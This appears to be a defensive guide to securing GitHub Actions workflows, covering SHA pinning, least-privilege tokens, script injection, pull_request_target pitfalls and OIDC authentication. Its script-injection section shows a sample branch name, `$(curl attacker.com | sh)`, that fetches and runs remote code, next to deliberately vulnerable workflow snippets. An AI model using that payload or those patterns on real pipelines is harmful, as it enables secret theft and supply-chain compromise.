GitHub Actions is now the default CI/CD platform for a large portion of the open-source ecosystem and a significant share of enterprise development. That ubiquity makes it a compelling target: a compromised workflow can exfiltrate secrets, push malicious code, or poison build artifacts at scale.
Most misconfigurations aren’t exotic. They follow predictable patterns, and they’re fixable.
The Threat Surface
A GitHub Actions workflow has access to:
- Repository secrets (tokens, credentials, API keys)
- The
GITHUB_TOKEN(which can push code, create releases, interact with the API) - The source code and build environment
- Potentially, production deployment credentials
The most common attack paths are:
- Pwn Requests —
pull_request_targettriggered by a fork PR with write permissions to secrets - Compromised third-party actions — pinned by tag (mutable) rather than commit SHA
- Script injection — untrusted input (PR title, branch name) interpolated directly into
run:steps - Overpermissioned
GITHUB_TOKEN— default write permissions used when read-only would suffice
1. Pin Actions to a Commit SHA
Tags are mutable. actions/checkout@v4 today might point to different code tomorrow if the action maintainer’s account is compromised or the tag is moved.
# Vulnerable — tag can be reassigned
- uses: actions/checkout@v4
# Secure — commit SHA is immutable
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
Tools like Dependabot and Renovate can automate keeping pinned SHAs up to date. There’s no reason to choose between security and staying current.
2. Restrict GITHUB_TOKEN Permissions
The default GITHUB_TOKEN permission level varies by organization settings. Define permissions explicitly at the workflow level — grant only what each job actually needs.
# At workflow level — deny all by default
permissions: {}
jobs:
build:
permissions:
contents: read # read source code
packages: write # push to GHCR
steps:
- uses: actions/checkout@<sha>
# ...
deploy:
permissions:
id-token: write # OIDC for cloud auth
contents: read
steps:
# ...
The principle: each job gets the minimum permissions required to do its work.
3. Avoid Script Injection
A classic mistake is interpolating GitHub context values directly into shell commands:
# VULNERABLE — attacker names their branch: `$(curl attacker.com | sh)`
- run: echo "Branch is ${{ github.head_ref }}"
Always pass untrusted values through environment variables:
# SAFE
- name: Print branch
env:
BRANCH: ${{ github.head_ref }}
run: echo "Branch is $BRANCH"
The shell expands $BRANCH as a variable, not as a command.
4. Be Careful with pull_request_target
pull_request_target runs in the context of the base branch (with full secrets access) while the triggering code may come from a fork. This is designed for workflows that need to comment on PRs or post status checks — but it’s frequently misused.
# DANGEROUS — checks out untrusted fork code with secrets access
on: pull_request_target
jobs:
test:
steps:
- uses: actions/checkout@<sha>
with:
ref: ${{ github.event.pull_request.head.sha }} # fork code!
- run: ./build-and-test.sh # runs fork code with secrets!
If you need pull_request_target to post a status check, separate the build (use pull_request, no secrets) from the reporting (use pull_request_target, only post results):
# Safe pattern: two separate workflows
# 1. pull_request — builds and uploads results as artifact (no secrets)
# 2. pull_request_target — downloads artifact and posts status (secrets, but no untrusted code)
5. Use OpenID Connect for Cloud Authentication
Instead of storing long-lived cloud credentials as secrets, use OIDC to get short-lived tokens from AWS, GCP, or Azure at runtime.
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@<sha>
with:
role-to-assume: arn:aws:iam::123456789:role/github-deploy
aws-region: eu-west-1
The pipeline authenticates via its GitHub identity. There’s no AWS_SECRET_ACCESS_KEY to leak. The role can be scoped to specific repositories and branches.
6. Audit with StepSecurity
StepSecurity provides a free audit tool that scans your workflows and flags pinning issues, permission problems, and injection vulnerabilities. Their Harden Runner action also adds runtime monitoring to detect outbound network calls from unexpected actions.
- uses: step-security/harden-runner@<sha>
with:
egress-policy: audit # or 'block' once you know your expected traffic
Checklist
| Control | Description |
|---|---|
| Pin actions to SHA | Immutable references only |
| Explicit permissions | permissions: {} at top, grant per job |
| No context interpolation | Use env vars for untrusted input |
Avoid pull_request_target misuse | Never check out fork code with secrets |
| OIDC for cloud auth | No long-lived credentials as secrets |
| Dependabot for actions | Automated SHA updates |
| StepSecurity audit | Baseline scan of all workflows |